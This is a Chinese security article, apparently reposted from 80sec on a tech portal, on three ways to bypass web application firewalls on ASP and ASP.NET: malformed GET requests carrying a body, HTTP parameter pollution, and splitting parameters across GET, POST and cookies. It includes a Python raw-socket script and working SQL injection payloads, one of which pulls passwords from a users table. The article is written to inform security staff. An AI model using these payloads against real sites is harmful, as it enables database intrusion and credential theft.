浅谈绕过WAF的数种方法

安全
08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。

0×00 前言

08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。

互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF的罕见漏洞,供安全人员参考。

0×01 Request对象的包解析漏洞.

asp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request对象完全不按RFC标准来,下面我们可以做个测试:

分别将下面两段代码保存为1.asp和1.aspx

使用asp的Request对象接收t参数传值

———————————————–

 

  1. <%  
  2.  
  3. Response.Write “Request:” & Request(“t”)  
  4.  
  5. %>  
  6.  

 

———————————————–

使用asp.net的Request对象接收t参数传值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

使用下面的python脚本调用socket发送原始的HTTP包

———————————————–

 

  1. #!/usr/bin/env python  
  2.  
  3. import socket  
  4.  
  5. host = ’192.168.239.129′  
  6.  
  7. path = ‘/1.asp’  
  8.  
  9. port = 80 
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  12.  
  13. s.connect((host, port))  
  14.  
  15. s.settimeout(8)  
  16.  
  17. exploit_packet=”t=’/**/or/**/11=1–”  
  18.  
  19. exploit_packet+=”\r\n” * 8  
  20.  
  21. packet_length = len(exploit_packet)  
  22.  
  23. packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’  
  24.  
  25. packet+=’Host: ‘ + host + ‘\r\n’  
  26.  
  27. packet+=’Content-Length: %s\r\n’ % packet_length  
  28.  
  29. packet+=’Content-Type: application/x-www-form-urlencoded\r\n’  
  30.  
  31. packet+=’\r\n’  
  32.  
  33. packetpacket = packet + exploit_packet  
  34.  
  35. print packet  
  36.  
  37. s.send(packet)  
  38.  
  39. buf = s.recv(1000)  
  40.  
  41. if buf: print buf[buf.rfind("\r\n"):]  
  42.  
  43. s.close()  
  44.  

 

———————————————–

我们发送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1– 

结果返回如下:

Request:’/**/or/**/1=1–

将python测试脚本的path改为/1.aspx测试页返回同样结果。

我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于t=’/**/or/**/1=1–参数后的8个回车换行和Content-Length头,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。

所以如果WAF没有处理好HTTP包的内容,沿用常规思路处理GET和POST的逻辑的话,那么这个畸形包将会毁掉WAF的基础防御。

0×02 被遗忘的复参攻击.

大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下:

用GET请求传入两个t参数

GET http://192.168.239.129/1.asp?t=1&t=2

将返回

Request:1, 2

asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法:

 

  1. Vulnerable code:  
  2.  
  3. SQL=”select key from table where id=”+Request.QueryString(“id”)  
  4.  
  5. This request is successfully performed using the HPP technique:  
  6.  
  7. /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users  
  8.  
  9. The SQL request becomes:  
  10.  
  11. select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,  
  12.  

 

我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句,如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?

0×03 高级复参攻击.

ASP.NET的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以修改0×01里的例子测试一下:

使用asp.net的Request.Params方法接收t参数传值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request.Params["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Host: 192.168.239.129

Cookie: t=2

t=3

———————————————–

结果返回

Request:1,3,2

最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0×02的复参攻击应该如醍醐灌顶了,我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一想WAF针对这种高级复参攻击是否防御好了?

0×04 后话

WAF是不可能解决所有安全问题的,本文的思路归其本源实际上是描叙了WAF处理HTTP包与服务端处理HTTP包数种差异。互联网是不断更新迭代的,差异存在,类似的漏洞也会存在。

本文提到了三种绕过WAF的思路,第一种是我的原创属于0DAY状态,第二种是参考已有的复参攻击,其中第三种高级复参攻击是由Safe3同学提出的,本文也是与Safe3同学讨论他开发的WAF的BUG而来,所以感谢Safe3同学。

另外请大家不要将本文的内容用于非法途径,仅供安全人员参考,谢谢。

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

 【编辑推荐】

  1. 如何选择合适的Web应用防火墙(WAF)?
  2. Web应用程序防火墙(WAF)将无处不在
  3. Web Application Firewall(WAF)入门

 

责任编辑:于爽 来源: 80sec.com
相关推荐

2012-12-24 13:50:54

2019-02-19 08:45:41

2013-05-13 11:25:02

WAFWeb应用防火墙WAF绕过

2013-06-03 10:02:53

WAF绕过

2013-01-11 16:23:29

2015-06-16 13:37:03

2020-07-31 11:02:09

网络攻击WAF黑客

2009-07-28 16:07:40

.NET图片快速处理

2013-12-18 09:39:37

XSSWAF绕过

2020-08-26 14:44:05

CDNIP子域名

2017-03-03 09:10:09

2016-12-27 19:19:51

2022-08-03 12:28:58

云WAF网络攻击Web应用防火墙

2013-04-19 13:20:14

2023-10-09 08:32:57

GaussDBDRS数据库

2019-05-07 08:15:21

2009-04-20 14:29:41

Oracle连接创建连接

2017-12-14 21:45:39

2017-09-01 21:00:05

MySQLSQL优化查询方法

2022-08-24 08:07:11

MyBatisSQLMySQL
点赞
收藏

51CTO技术栈公众号